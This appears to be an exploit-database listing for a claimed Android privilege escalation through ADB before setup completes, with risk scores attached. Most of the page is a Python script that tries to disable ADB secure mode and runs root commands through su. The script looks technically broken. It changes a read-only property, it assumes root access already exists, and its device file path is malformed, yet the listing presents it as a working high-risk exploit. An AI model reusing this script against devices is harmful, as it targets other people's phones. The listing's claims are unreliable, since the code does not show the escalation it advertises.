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Android DeviceVersionFragment.java Privilege Escalation Exploit

🗓️ 11 Jan 2024 00:00:00Reported by Amirhossein BahramizadehType 
zdt
 zdt
🔗 0day.today👁 421 Views

Android Device Version Fragment Privilege Escalation via ADB Exploit

Related
Code
#!/usr/bin/env python

import subprocess

# Connect to the device via ADB
subprocess.run(["adb", "devices"])

# Check if the device is in secure USB mode
device = subprocess.run(["adb", "shell", "getprop", "ro.adb.secure"], stdout=subprocess.PIPE)
if "1" in device.stdout.decode():
    # Secure USB mode is enabled, so we need to disable it
    subprocess.run(["adb", "shell", "setprop", "ro.adb.secure", "0"])

# Exploit the vulnerability by accessing ADB before SUW completion
subprocess.run(["adb", "shell"])

# Escalate privileges by executing commands as the root user
subprocess.run(["adb", "shell", "su", "-c", "echo 0 > /sys/class/leds/led:green: charging/brightness"], check=True)
subprocess.run(["adb", "shell", "su", "-c", "echo 100 > /sys/class/leds/led:green: charging/brightness"], check=True)

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11 Jan 2024 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.17.8 - 10
EPSS0.00044
421